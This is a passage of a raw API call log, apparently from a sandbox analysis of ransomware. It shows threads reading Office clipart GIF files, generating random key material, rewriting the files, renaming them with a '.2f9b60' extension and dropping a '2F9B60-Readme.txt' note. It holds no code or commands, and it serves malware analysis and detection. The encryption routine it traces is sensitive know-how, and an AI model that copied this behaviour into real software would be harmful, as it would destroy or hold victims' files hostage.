BaseAddress=0x201ae130) returned 1 [0098.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0098.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0098.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860600 [0098.413] SetFilePointerEx (in: hFile=0xebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0098.413] WriteFile (in: hFile=0xebc, lpBuffer=0x167160*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2a0bf7d0, lpOverlapped=0x0 | out: lpBuffer=0x167160*, lpNumberOfBytesWritten=0x2a0bf7d0*=0x10a, lpOverlapped=0x0) returned 1 [0101.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97670 [0101.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869fc0 [0101.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0101.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4f0) returned 1 [0101.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0101.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0101.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f760 [0101.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f760) returned 1 [0101.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869fc0) returned 1 [0101.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97670) returned 1 [0101.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fc70 [0101.560] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="b1") returned 2 [0101.560] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="2d") returned 2 [0101.560] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="d1") returned 2 [0101.560] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="78") returned 2 [0101.560] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="33") returned 2 [0101.560] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="51") returned 2 [0101.560] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="cb") returned 2 [0101.560] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="33") returned 2 [0101.560] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="ca") returned 2 [0101.560] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="52") returned 2 [0101.561] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="a6") returned 2 [0101.561] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="e1") returned 2 [0101.561] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="45") returned 2 [0101.561] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="4c") returned 2 [0101.561] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="0b") returned 2 [0101.561] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="6f") returned 2 [0101.561] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="5c") returned 2 [0101.561] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="dd") returned 2 [0101.561] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="6d") returned 2 [0101.561] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="3f") returned 2 [0101.561] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="5f") returned 2 [0101.561] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="fc") returned 2 [0101.561] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="29") returned 2 [0101.561] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="e2") returned 2 [0101.561] RtlInitAnsiString (in: DestinationString=0x2a0bf848, SourceString="b12dd1783351cb33ca52a6e1454c0b6f5cdd6d3f5ffc29e2" | out: DestinationString="b12dd1783351cb33ca52a6e1454c0b6f5cdd6d3f5ffc29e2") [0101.561] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a0bf818, SourceString="b12dd1783351cb33ca52a6e1454c0b6f5cdd6d3f5ffc29e2", AllocateDestinationString=1 | out: DestinationString="b12dd1783351cb33ca52a6e1454c0b6f5cdd6d3f5ffc29e2") returned 0x0 [0101.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8c90 [0101.561] wcscat (in: _Dest=0x202b17d0, _Source="b12dd1783351" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b12dd1783351") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b12dd1783351" [0101.561] wcscat (in: _Dest=0x202b17d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b12dd1783351.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b12dd1783351.2f9b60" [0101.561] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b12dd1783351.2f9b60", NtPathName=0x2a0bf7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b12dd1783351.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107000 [0109.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107000) returned 1 [0109.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050df50) returned 1 [0109.177] NtQueryInformationFile (in: FileHandle=0xebc, IoStatusBlock=0x2a0bf858, FileInformation=0x2a0bf868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a0bf858, FileInformation=0x2a0bf868) returned 0x0 [0109.177] NtSetInformationFile (FileHandle=0xebc, IoStatusBlock=0x2a0bf858, FileInformation=0x2a0bf868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b17d0) returned 1 [0109.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8c90) returned 1 [0109.180] FlushFileBuffers (hFile=0xebc) returned 1 [0109.189] CloseHandle (hObject=0xebc) returned 1 [0109.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027a150 [0109.191] wcscpy (in: _Dest=0x2027a150, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.191] wcscat (in: _Dest=0x2027a150, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a150) returned 1 [0109.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d0b0) returned 1 Thread: id = 653 os_tid = 0x1118 [0095.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20 [0096.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF", dwFileAttributes=0x20) returned 1 [0096.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeb8 [0096.186] GetFileSizeEx (in: hFile=0xeb8, lpFileSize=0x2a2df960 | out: lpFileSize=0x2a2df960*=5315) returned 1 [0096.186] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x14bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.186] ReadFile (in: hFile=0xeb8, lpBuffer=0x2a2df8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a2df928, lpOverlapped=0x0 | out: lpBuffer=0x2a2df8e0*, lpNumberOfBytesRead=0x2a2df928*=0x4, lpOverlapped=0x0) returned 1 [0096.249] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0096.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80d0 [0096.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fb0 [0096.250] NtQuerySystemTime (in: CurrentTime=0x2a2df820 | out: CurrentTime=0x2a2df820*=132462177020782000) returned 0x0 [0096.250] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x2e64bda5 [0096.250] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x7cd8114b [0096.250] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0xef1ac28 [0096.250] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x3e0bbfdc [0096.250] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x31933f1f [0096.250] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x2f5b1582 [0096.250] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x1f57ed9f [0096.250] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x4184c5ac [0096.250] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x3a266b48 [0096.250] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x3a22cb99 [0096.250] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x2986e382 [0096.251] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x6ef4f98f [0096.251] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x22434eec [0096.251] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x1751782b [0096.251] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x16dc3402 [0096.251] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x4814f345 [0096.251] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x1a8a7b9a [0096.251] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x641803bb [0096.251] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x39e8a882 [0096.251] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x6484579c [0096.251] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x5264ed68 [0096.251] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x46ec87d [0096.251] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x69dde6c1 [0096.251] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x13397782 [0096.251] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x45daf81b [0096.252] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x7b0873d4 [0096.252] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x3d344129 [0096.252] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x3a58f8f [0096.252] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x15818b54 [0096.252] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x329e8f2f [0096.252] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x41dff840 [0096.252] RtlRandomEx (in: Seed=0x2a2df810 | out: Seed=0x2a2df810) returned 0x10ad3bf8 [0096.262] ReadFile (in: hFile=0xeb8, lpBuffer=0x201c4990, nNumberOfBytesToRead=0x14c3, lpNumberOfBytesRead=0x2a2df810, lpOverlapped=0x0 | out: lpBuffer=0x201c4990*, lpNumberOfBytesRead=0x2a2df810*=0x14c3, lpOverlapped=0x0) returned 1 [0096.309] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.309] WriteFile (in: hFile=0xeb8, lpBuffer=0x201b9560*, nNumberOfBytesToWrite=0x14c3, lpNumberOfBytesWritten=0x2a2df814, lpOverlapped=0x0 | out: lpBuffer=0x201b9560*, lpNumberOfBytesWritten=0x2a2df814*=0x14c3, lpOverlapped=0x0) returned 1 [0100.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262300 [0100.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262270 [0100.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262270) returned 1 [0100.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201b9560) returned 1 [0100.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c4990) returned 1 [0100.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79db70) returned 1 [0100.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8f0) returned 1 [0100.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262270 [0100.978] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.978] WriteFile (in: hFile=0xeb8, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2a2df930, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x2a2df930*=0x10a, lpOverlapped=0x0) returned 1 [0105.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0105.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202629c0 [0105.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202629c0) returned 1 [0105.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0105.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202629c0 [0105.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262990 [0105.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262990) returned 1 [0105.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0105.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0105.307] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="a3") returned 2 [0105.307] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="09") returned 2 [0105.307] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="f0") returned 2 [0105.307] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="12") returned 2 [0105.307] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="18") returned 2 [0105.307] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="23") returned 2 [0105.307] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="73") returned 2 [0105.307] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="17") returned 2 [0105.307] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="4d") returned 2 [0105.307] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="4e") returned 2 [0105.307] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="6c") returned 2 [0105.307] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="3d") returned 2 [0105.307] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="39") returned 2 [0105.307] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="55") returned 2 [0105.307] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="50") returned 2 [0105.307] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="ec") returned 2 [0105.308] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="2c") returned 2 [0105.308] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="a2") returned 2 [0105.308] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="17") returned 2 [0105.308] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="b7") returned 2 [0105.308] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="1a") returned 2 [0105.308] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="cf") returned 2 [0105.308] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="a1") returned 2 [0105.308] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="e1") returned 2 [0105.308] RtlInitAnsiString (in: DestinationString=0x2a2df9a8, SourceString="a309f012182373174d4e6c3d395550ec2ca217b71acfa1e1" | out: DestinationString="a309f012182373174d4e6c3d395550ec2ca217b71acfa1e1") [0105.308] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a2df978, SourceString="a309f012182373174d4e6c3d395550ec2ca217b71acfa1e1", AllocateDestinationString=1 | out: DestinationString="a309f012182373174d4e6c3d395550ec2ca217b71acfa1e1") returned 0x0 [0105.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced59b0 [0105.309] wcscat (in: _Dest=0x204ffaf0, _Source="a309f0121823" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a309f0121823") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a309f0121823" [0105.309] wcscat (in: _Dest=0x204ffaf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a309f0121823.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a309f0121823.2f9b60" [0105.309] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a309f0121823.2f9b60", NtPathName=0x2a2df950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a309f0121823.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278d70 [0109.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278d70) returned 1 [0109.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecbe80) returned 1 [0109.128] NtQueryInformationFile (in: FileHandle=0xeb8, IoStatusBlock=0x2a2df9b8, FileInformation=0x2a2df9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a2df9b8, FileInformation=0x2a2df9c8) returned 0x0 [0109.128] NtSetInformationFile (FileHandle=0xeb8, IoStatusBlock=0x2a2df9b8, FileInformation=0x2a2df9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffaf0) returned 1 [0109.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced59b0) returned 1 [0109.169] FlushFileBuffers (hFile=0xeb8) returned 1 [0109.174] CloseHandle (hObject=0xeb8) returned 1 [0109.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x204ffaf0 [0109.175] wcscpy (in: _Dest=0x204ffaf0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.175] wcscat (in: _Dest=0x204ffaf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffaf0) returned 1 [0109.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d140) returned 1 Thread: id = 654 os_tid = 0x111c [0095.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20 [0096.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF", dwFileAttributes=0x20) returned 1 [0096.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeb4 [0096.095] GetFileSizeEx (in: hFile=0xeb4, lpFileSize=0x2a40fc00 | out: lpFileSize=0x2a40fc00*=4955) returned 1 [0096.095] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x1357, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.095] ReadFile (in: hFile=0xeb4, lpBuffer=0x2a40fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a40fbc8, lpOverlapped=0x0 | out: lpBuffer=0x2a40fb80*, lpNumberOfBytesRead=0x2a40fbc8*=0x4, lpOverlapped=0x0) returned 1 [0096.202] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0096.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f580 [0096.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0096.202] NtQuerySystemTime (in: CurrentTime=0x2a40fac0 | out: CurrentTime=0x2a40fac0*=132462177020314000) returned 0x0 [0096.202] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x3166edee [0096.202] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x663555cd [0096.202] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x1bfb639d [0096.202] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x3035e6f9 [0096.202] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x519be5f5 [0096.202] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x5c740afb [0096.202] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x6fd63af7 [0096.202] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x1374aa09 [0096.203] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x9c81ee3 [0096.203] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x709d13b8 [0096.203] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x480ed5ad [0096.203] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x497c64b7 [0096.203] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x758d09ff [0096.203] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x5d451460 [0096.203] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x5c32bbf5 [0096.203] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0xf235951 [0096.203] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x5b809c72 [0096.203] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x7ce433d8 [0096.203] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x29b1bc42 [0096.203] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x4ccf5bed [0096.203] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x5b809c72 [0096.203] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x565bfc9c [0096.203] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x5e408b3a [0096.203] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x7078359c [0096.203] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x53e16082 [0096.204] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x62ac80 [0096.204] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x361b6044 [0096.204] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x1c35c23b [0096.204] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x4f887701 [0096.204] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x32133af4 [0096.204] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x4fedd3cc [0096.204] RtlRandomEx (in: Seed=0x2a40fab0 | out: Seed=0x2a40fab0) returned 0x1eb2393 [0096.213] ReadFile (in: hFile=0xeb4, lpBuffer=0x201bd170, nNumberOfBytesToRead=0x135b, lpNumberOfBytesRead=0x2a40fab0, lpOverlapped=0x0 | out: 